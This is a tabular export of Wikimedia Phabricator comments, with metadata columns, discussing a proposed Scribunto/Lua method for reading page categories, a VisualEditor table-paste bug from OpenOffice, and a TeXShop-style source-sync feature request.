+Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace in the parser code that receives the output of the module function, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.
+
+I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links.",,,1694639124,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+2192739,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
+> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.
+
+Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.
+
+I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. This change could lead to annoying results: suppose a module that is widely used suddenly starts looking up categories when it doesn't need to; then any templates or modules that depend on the module would stop generating category links even though they didn't do anything wrong with the category information. Then editors would have to look through the dependency tree and figure out which module was the culprit for the suddenly disappearing category links.",,,1694639064,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+2192737,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#9164846, @Awesome_Aasim wrote:
+> There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.
+
+Categories are added by literal category links in the wikitext emitted by a module, unfortunately. Disabling categories might be fairly easy to do for any invoked module function that generates a complete category link that goes straight into the wikitext of the article, because it could be as easy as a search and replace, but a module can be used to generate only part of a category link, like `[[Category:{{#invoke:example|emit_category_that_page_is_not_in}}]]`. But there are often be multiple layers of expansion past the module invocation, for instance when a template contains `{{#invoke:module name|function name|...}}`. Text generated by a module invocation could also be put into a template that then puts the text in a category link.
+
+I'm not familiar with the parsing infrastructure, but I imagine to solve some of these problems, the parser would have to track which 'contaminated"" text ultimately had something to do with invocations of modules that looked up category information for the current page, and in the final expanded text disable any category links that contain any of this contaminated text. That could be quite an invasive change to the parser because of all the levels of expansion that wikitext goes through. There would also be false positives, because a template or module can take in contaminated text but totally ignore it and just generate the same thing whether the contaminated text is there or not. That could be a bit obnoxious if a module that is widely used suddenly starts looking up categories when it doesn't need to, any templates or modules that depend on the module could stop generating category links even though they didn't do anything wrong with the category information.",,,1694638874,,PHID-USER-ckzurwd36svqc4arsqvb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+2192694,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I kind of see the issue as well a little that Matmarex has put forth. It is the classical paradox of self reference. If the page populates Category:Foo when it is not in Category:Bar, and the page populates Category:Bar when it is in Category:Foo, then which category would be populated? It would require us to know the final execution state in order to further populate. Here is a solution: only fill getCategories() for the page all the way up to the point of execution.
+
+But then for two pages, we have the problem of timing. The order in which categories are populated would then depend on when the page was parsed. I can see how it can lead to ""unstable parses"" regarding categories, but then we can also get that in the following scenario. Suppose we have the page ""Foo"" check to see if ""Foobar"" is in the page ""Bar"" and if so does nothing, and if not writes ""Foobar"". Now say ""Bar"" does the same for ""Foo"". Now the order of execution determines which page has ""Foobar"" and which one does not.
+
+There might actually be a better solution than this. If a module accesses category information, just prohibit population of categories by that module period. That is, if the module is like the first two scenarios, it would just do nothing and maybe add the module to a special page. This is something that can be checked after the module is done executing. For now, this might be a good solution until some way to detect these two scenarios is reliably determined. It would allow for category editnotices to work while preventing the two scenarios above from arising.",,,1694632731,,PHID-USER-bzspc5im4mzxblgdl3e7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,532,,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+2127877,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Although @Izno only mentions “cross-communication between templates”, I’m pretty sure he meant specifically templates transcluded on a page accessing output of templates transcluded at other parts of the same page – otherwise, it’s just a simple template transclusion, which was, is, and going to be, supported, of course. Templates transcluded on a page accessing output of templates transcluded at other parts of the same page is where issues come up: previews of parts of the page (e.g. sections or – in case of VisualEditor and other Parsoid-based things – individual templates) may be different from what a full-page parse produces, and parallel parsing of different parts of the page may cause race conditions.",,,1684739405,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,516,,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+2127829,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Yes, I tested it. It works in editnotices; it did cause a template loop on the page itself yeah. But the main complaint from Izno seems to be about cross-template communication, not about accessing info about the current page; and this definitely works if the page given is not the current page.",,,1684731135,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,516,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+2127508,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Did you test these? Unless you have countermeasures (is it possible at all?), or unless `{{FULLPAGENAME}}` isn’t actually the title of the current page (which is the case e.g. in edit notices), both `frame:expandTemplate` and `{{:{{FULLPAGENAME}}}}` would definitely cause infinite template recursion, not only potentially cause unstable parses.",,,1684656255,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+2127446,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8865219, @Izno wrote:
+> `getContent` does not expand templates. I'm pretty sure the PHP implementation of `getCategories`
+
+`frame:expandTemplate` allows this though. In fact, just using e.g. `{{#invoke:string|find|{{:{{FULLPAGENAME}}}}|Category:X1}}`, you can check if the categories of the current (or any) page include X1 without even using Lua to get the page content. So this actually adds zero additional functionality (it just makes things faster, since transcluding the page is very slow to parse) and I don't think it actually needs any restrictions. The infinite loops mentioned should already be possible through this method.",,,1684626769,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,1,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,1
+2126969,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"There are also opportunistic limk updates of the page is ""dynamic"", but yes it is limited.",,,1684558154,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+2126968,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8865315, @matmarex wrote:
+> Every time one of these pages are parsed, the state of its category will flip. This seems bad. As one side effect of this, I think everyone watching the pages will see a message about category changes on their watchlist. 
+
+... which should motivate one of those users to fix up the ungodly mess! This should only happen when the parse is a result of an edit though, as LinksUpdate isn't run otherwise.",,,1684557228,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+2126860,Scribunto/Lua should have a built-in method for retrieving categories used on a page,You can definitely already do this - e.g. make the category used depend on the current time or something. It does seem like this might make the problem worse though.,,,1684526427,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+2126742,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I see a slightly different problem – this feature may produce ""unstable"" parses. Consider the scenario:
+* Page A has a template that adds category X if another page B has a category Y
+* Page B has a template that adds category Y if page A does not have the category X
+Every time one of these pages are parsed, the state of its category will flip. This seems bad. As one side effect of this, I think everyone watching the pages will see a message about category changes on their watchlist. There may be other bad side effects.
+
+Even when it doesn't produce an infinite loop like this, you may end up with pages that may need to be parsed multiple times until they reach a stable state. This actually seems even worse. Imagine a vandalism that requires multiple pages to be purged in exactly correct order to be reverted.
+
+I don't know if that's necessarily a deal breaker, but I know that I wouldn't want to be responsible for this :)",,,1684512883,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,True,,,515,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+2126740,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I dont think it falls afoul of that as long as it is reflecting DB state (current contents of categorylinks) and not currently parsed page.
+
+Although maybe shouldnt work for current page as that would be confusing",,,1684512620,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+2126718,Scribunto/Lua should have a built-in method for retrieving categories used on a page,">>! In T50175#8858120, @SD0001 wrote:
+> It doesn't enable communication between templates any more than getContent() already allows.
+
+`getContent` does not expand templates. I'm pretty sure the PHP implementation of `getCategories`
+
+```lang=php
+$page = MediaWikiServices::getInstance()->getWikiPageFactory()->newFromTitle( $title );
+...
+$categoryTitles = $page->getCategories();
+```
+
+gets all categories, which may be in templates. So I am pretty sure your statement is not a true statement.
+
+>  Besides, it's often useful - such as for citation modules to decide if dates should be formatted as dmy or mdy. 
+I am not concerned about its utility though -- I think the utility is pretty clear, enabling one path of cross-communication between templates, exactly as you say. I am instead raising a point that previous maintainers of Scribunto have drawn a line in the sand about, and which may have particular implications regarding this extension's support of Parsoid. The maintainers (whoever that may be since Anomie stopped participating in MediaWiki development) should decide whether it's a legitimate objection or not and whether I've identified the issue correctly or not, though if you don't think that's what those two lines are doing, I'm happy to be informed otherwise.",,,1684509817,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+2124824,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"It doesn't enable communication between templates any more than getContent() already allows. Besides, it's often useful - such as for citation modules to decide if dates should be formatted as dmy or mdy. ",,,1684311499,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+2124423,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"This change strikes me as enabling communication between separate templates, something which has been a no-no in this extension.",,,1684256661,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,515,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+2122842,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Change 919459 had a related patch set uploaded (by SD0001; author: SD0001):
+%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
+https://gerrit.wikimedia.org/r/919459",,,1684006243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,514,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2114842,Scribunto/Lua should have a built-in method for retrieving categories used on a page,There's https://www.mediawiki.org/wiki/Extension:CategoryToolbox but I don't how suitable the code is.,,,1682931513,,PHID-USER-3ffkgjb7rllliblvxdy2,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,513,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0
+233314,Scribunto/Lua should have a built-in method for retrieving categories used on a page,%%%*** Bug 59111 has been marked as a duplicate of this bug. ***%%%,,,1397790380,,PHID-USER-gljzp3uzec5ukggh6xdk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,41,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+233309,Scribunto/Lua should have a built-in method for retrieving categories used on a page,I'd just like to make the explicit suggestion that the categories be exposed be on title objects (see http://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects ) as they contain other information about a given page.,,,1397790345,,PHID-USER-gljzp3uzec5ukggh6xdk,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,41,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+50170,VisualEditor: Support pasting of HTML from external sources,"many + signs
+
+Tested: 
+
+In OpenOffice, create a small table with text in cells a1, a2, b1, b2, c2. 
+
+Copy only the rows of the table. 
+
+Paste into VE. 
+
+* the view immediately in VE is of unusable information and some ""+"" characters apparently indicating cell boundaries. 
+
+Version:1.0StartHTML:0000000155EndHTML:0000000881StartFragment:0000000475EndFragment:0000000864➞➞➞➞➞➞➞➞➞➞➞➞➞a1➞➞➞b1➞➞➞➞➞➞➞➞➞➞a2➞➞➞b2➞➞➞c2➞➞➞
+
+* the view in the ""Review your changes"" panel is of a swath of white space with the contents of the table interspersed.
+
+* User tendency is to copy entire contents of rows, yielding many empty cells.  VE dutifully tracks these empty cells and displays an enormous number of ""+"" symbols in the immediate view and mostly empty space in the ""Review your changes"" view.
+
+* Upon save, no table is in the page when pasting from OpenOffice.
+
+Other anomalous results are reported when pasting from the Apple Pages application.  From another user: 
+
+""...number of cells didn't match the number of columns. Since they don't match, tried to delete the cells in order to recover the blank page, but they won't delete.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11079}",Low,25.0,1367866200,1385505644.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-4fybw5go6fyidok4tmp7,task_description,resolved,True,c1,1,False,False,False,-8,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+233073,VisualEditor: Support pasting of HTML from external sources,"Change 86664 merged by jenkins-bot:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1385500075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233067,VisualEditor: Support pasting of HTML from external sources,"Change 86664 had a related patch set uploaded by Esanders:
+Rich paste
+
+https://gerrit.wikimedia.org/r/86664",,,1381157527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233060,VisualEditor: Support pasting of HTML from external sources,"(In reply to comment #2)
+> I think users will expect that pasting things like tables from other editors
+> and sources into VE to more or less Just Work.
+
+That is bug 41193 (and yes, getting that to work would be lovely). This is about corruption of the clipboard from OpenOffice, which is a distinct problem whether or not we get the pasted-formatting working in time for the 'beta'.",,,1367874654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+233050,VisualEditor: Support pasting of HTML from external sources,"
+I think users will expect that pasting things like tables from other editors and sources into VE to more or less Just Work.",,,1367867550,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+233043,VisualEditor: Support pasting of HTML from external sources,"* Editing of table structure isn't exactly supported right now
+
+* I'm curious what OpenOffice puts on the clipboard. It may well be that the root cause is ""OpenOffice puts unreasonable things on the clipboard when copying a table""",,,1367866569,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4fybw5go6fyidok4tmp7,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+50080,Sync source and editor like TeXShop,"**Author:** `mstankus`
+
+**Description:**
+In TeXShop, you can click on a piece of content (for example,
+a word) and choose sync and you are sent directly to the 
+part of the source corresponding to that word. It would be great
+if that could happen for wikis.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Low,25.0,1367686680,1368010283.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zolq2daof5tqslp44gue,task_description,declined,True,c1,1,False,False,True,-9,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227737,Sync source and editor like TeXShop,"(In reply to comment #2)
+> Write now, you decide what is wrong, click on edit and then
+> search through markup for the word was misspelled or phrase
+> which needs to be checked. 
+
+This will mostly get fixed by VisualEditor which you can already try out:
+http://blog.wikimedia.org/2013/04/25/visualeditor-alpha-in-15-languages/
+
+Closing as WORKSFORME.",,,1368010283,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+227729,Sync source and editor like TeXShop,"**mstankus** wrote:
+
+Write now, you decide what is wrong, click on edit and then
+search through markup for the word was misspelled or phrase
+which needs to be checked. 
+
+  An alternate approach would be to allow someone to mark 
+a word with a mouse, right click, choose ""edit wiki page""
+and then have the computer open the editor AND move
+the cursor to the part of the markup relevant to that 
+word in the text. It looks through the mark up for you
+and saves everyone time.",,,1367964649,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zolq2daof5tqslp44gue,task_subcomment,,True,c1,1,False,,,-8,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+227725,Sync source and editor like TeXShop,"I don't know what TeXShop is, so ""like in TeXShop"" is not helpful.
+Still I don't understand what is requested here. I click a word in the content of a wiki page (preferably in ""Edit"" mode), and I am send to which source, and why?
